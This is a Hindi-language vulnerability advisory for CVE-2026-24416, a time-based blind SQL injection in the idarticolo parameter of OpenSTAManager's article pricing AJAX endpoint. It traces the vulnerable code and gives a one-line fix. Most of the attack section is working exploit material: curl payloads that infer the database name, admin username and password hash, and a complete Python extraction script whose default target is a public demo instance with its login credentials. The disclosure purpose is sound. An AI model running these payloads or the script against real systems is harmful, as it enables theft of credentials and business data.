
CVE-2026-24416 - OpenSTAManager में आर्टिकल मूल्य निर्धारण मॉड्यूल में Time-Based Blind SQL Injection है
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-24416 |
| गंभीरता | HIGH |
| सलाह | सलाह देखें |
| खोजकर्ता | Lukasz Rybak |
OpenSTAManager v2.9.8 के आर्टिकल मूल्य निर्धारण मॉड्यूल में गंभीर Time-Based Blind SQL Injection भेद्यता प्रमाणित हमलावरों को समय-आधारित Boolean अनुमान हमलों के माध्यम से उपयोगकर्ता क्रेडेंशियल्स, ग्राहक डेटा और वित्तीय रिकॉर्ड सहित संपूर्ण डेटाबेस सामग्री निकालने की अनुमति देती है।
स्थिति: ✅ लाइव इंस्टेंस (v2.9.8) और demo.osmbusiness.it (v2.9.7) पर पुष्टि एवं परीक्षण किया गया
संवेदनशील पैरामीटर: idarticolo (GET)
प्रभावित एंडपॉइंट: /ajax_complete.php?op=getprezzi
प्रभावित मॉड्यूल: Articoli (आर्टिकल/उत्पाद)
OpenSTAManager v2.9.8 में आर्टिकल मूल्य निर्धारण पूर्णता हैंडलर में एक गंभीर Time-Based Blind SQL Injection भेद्यता मौजूद है। एप्लिकेशन SQL क्वेरी में उपयोग करने से पहले idarticolo पैरामीटर को ठीक से सैनिटाइज़ नहीं करता है, जिससे हमलावर मनमाने SQL कमांड इंजेक्ट कर सकते हैं और समय-आधारित Boolean अनुमान के माध्यम से संवेदनशील डेटा निकाल सकते हैं।
भेद्यता श्रृंखला:
प्रवेश बिंदु: /ajax_complete.php (पंक्ति 27)
$op = get('op');
$result = AJAX::complete($op);
op पैरामीटर प्राप्त किया जाता है, लेकिन भेद्यता अन्य पैरामीटरों में है।
वितरण: /src/AJAX.php::complete() (पंक्ति 189)
$result = self::getCompleteResults($file, $resource);
निष्पादन: /src/AJAX.php::getCompleteResults() (पंक्ति 402)
require $file;
मॉड्यूल-विशिष्ट complete.php फ़ाइलें शामिल की जाती हैं।
संवेदनशील पैरामीटर: /modules/articoli/ajax/complete.php (पंक्ति 26)
$idarticolo = get('idarticolo');
idarticolo पैरामीटर GET अनुरोध से प्राप्त किया जाता है।
(पंक्ति 70)
संदर्भ - पूर्ण क्वेरी संरचना (पंक्तियाँ 39-74):
संवेदनशील क्वेरी एक UNION क्वेरी का हिस्सा है जो इनवॉइस और डिलीवरी नोट्स से मूल्य इतिहास प्राप्त करती है:
$documenti = $dbo->fetchArray('
SELECT
`iddocumento` AS id,
"Fattura" AS tipo,
"Fatture di vendita" AS modulo,
(`subtotale`-`sconto`)/`qta` AS costo_unitario,
...
FROM
`co_righe_documenti`
INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
WHERE
`idarticolo`='.prepare($idarticolo).' AND ... # ✓ PROPERLY SANITIZED (Line 54)
UNION
SELECT
`idddt` AS id,
"Ddt" AS tipo,
...
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND # ✗ VULNERABLE - NO prepare() (Line 70)
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
ORDER BY
`id` DESC LIMIT 0,5');
मूल कारण: डेवलपर ने पहले SELECT (पंक्ति 54) में prepare() का सही उपयोग किया, लेकिन UNION क्वेरी के दूसरे SELECT (पंक्ति 70) में इसका उपयोग करना भूल गया, जिससे एक असंगत सुरक्षा पैटर्न बन गया।
चरण 1: लॉगिन
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
चरण 2: भेद्यता सत्यापित करें (Time-Based SLEEP)
# Test with SLEEP(10)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
> /dev/null
# Result: real 0m10.32s (10.32 seconds)
# Test with SLEEP(3) - should take ~3 seconds
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
> /dev/null
# Result: real 0m3.36s (3.36 seconds)
# Test without SLEEP
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
> /dev/null
# Result: real 0m0.31s (0.31 seconds)
चरण 3: डेटा निष्कर्षण - डेटाबेस नाम
# Extract first character of database name
# Test if first char is 'o' (expected: TRUE for 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - condition TRUE)
# Test if first char is 'x' (expected: FALSE)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m0.31s (SLEEP not executed - condition FALSE)
# Extract second character (expected: 'p')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - confirms second char is 'p')
# Extract first 3 characters (expected: 'ope')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms 'ope...')
चरण 4: संवेदनशील डेटा निकालें - व्यवस्थापक क्रेडेंशियल्स
# Extract admin username (test if first 5 chars are 'admin')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms admin username)
# Extract first character of password hash (expected: '$' for bcrypt)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format)
पेलोड स्पष्टीकरण:
Original payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)
Injection breakdown:
1. 1 - Valid article ID
2. AND SUBSTRING(DATABASE(),1,1)='o' - Boolean condition to test
3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Execute SLEEP(2) if condition is true
SQL Query Result:
WHERE
`idarticolo`=1
AND SUBSTRING(DATABASE(),1,1)='o'
AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
AND `dt_tipiddt`.`dir`="entrata"
AND `idanagrafica`=1
स्वचालित निष्कर्षण स्क्रिप्ट उदाहरण:
import requests
import time
import string
import sys
# Default Configuration
BASE_URL = "https://demo.osmbusiness.it"
USERNAME = "demo"
PASSWORD = "demodemo1"
SLEEP_TIME = 3 # Increased to 3s for stability on remote demo instance
def login(session, base_url, user, pwd):
"""Authenticates to the application and maintains session."""
login_url = f"{base_url}/index.php?op=login"
data = {"username": user, "password": pwd}
print(f"[*] Attempting login to: {login_url}...")
try:
response = session.post(login_url, data=data, timeout=10)
# Check if login was successful (usually indicated by presence of logout link or redirect)
if "logout" in response.text.lower() or response.status_code == 200:
print("[+] Login successful!")
return True
else:
print("[-] Login failed. Please check credentials.")
return False
except Exception as e:
print(f"[!] Connection error: {e}")
return False
def extract_data(session, base_url, sql_query, label="Data"):
"""Extracts data character by character until the end of the string is reached."""
print(f"\n[*] Extracting: {label}...")
result = ""
position = 1
target_endpoint = f"{base_url}/ajax_complete.php"
# Charset optimized for database names and bcrypt hashes ($, ., /)
charset = string.ascii_letters + string.digits + "$./" + string.punctuation
while True:
found_char = False
for char in charset:
# Payload: If the condition is true, the server sleeps for SLEEP_TIME
# Using ORD() and SUBSTRING() to handle various character types safely
payload = f"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)"
params = {
"op": "getprezzi",
"idanagrafica": "1",
"idarticolo": payload
}
try:
start_time = time.time()
session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10)
elapsed = time.time() - start_time
if elapsed >= SLEEP_TIME:
result += char
found_char = True
sys.stdout.write(f"\r[+] {label} [{position}]: {result}")
sys.stdout.flush()
break
except requests.exceptions.RequestException:
# Handle network jitter/timeouts by retrying or continuing
continue
# If no character from charset triggered a sleep, we've reached the end of the data
if not found_char:
print(f"\n[!] End of string or no data found at position {position}.")
break
position += 1
return result
def main():
s = requests.Session()
# Allow target URL to be passed as a command line argument
target = sys.argv[1] if len(sys.argv) > 1 else BASE_URL
if login(s, target, USERNAME, PASSWORD):
# 1. Database name extraction
db = extract_data(s, target, "SELECT DATABASE()", "Database Name")
# 2. Admin username extraction
user = extract_data(s, target, "SELECT username FROM zz_users WHERE id=1", "Admin Username (id=1)")
# 3. Password hash extraction (Bcrypt hashes are ~60 chars; the loop handles this automatically)
pwd_hash = extract_data(s, target, "SELECT password FROM zz_users WHERE id=1", "Password Hash")
print(f"\n\n{'='*35}")
print(f" FINAL REPORT")
print(f"{'='*35}")
print(f"Target URL: {target}")
print(f"Database: {db}")
print(f"Username: {user}")
print(f"Hash: {pwd_hash}")
print(f"{'='*35}")
if __name__ == "__main__":
main()
प्रभावित उपयोगकर्ता: आर्टिकल मूल्य निर्धारण कार्यक्षमता तक पहुँच रखने वाले सभी प्रमाणित उपयोगकर्ता (आमतौर पर कोटेशन, इनवॉइस और ऑर्डर प्रबंधित करने वाले उपयोगकर्ता)।
अनुशंसित सुधार:
फ़ाइल: /modules/articoli/ajax/complete.php
पहले (संवेदनशील - पंक्ति 70):
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
बाद में (सुधारा गया):
WHERE
`idarticolo`='.prepare($idarticolo).' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
खोजकर्ता: Łukasz Rybak
यह CVE समन्वित भेद्यता प्रकटीकरण प्रथाओं का पालन करते हुए जिम्मेदारीपूर्वक प्रकट किया गया था। यहाँ दी गई जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए है।
/modules/articoli/ajax/complete.phpFROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
प्रभाव: $idarticolo का prepare() के बिना सीधा संयोजन, जबकि $idanagrafica को ठीक से सैनिटाइज़ किया गया है।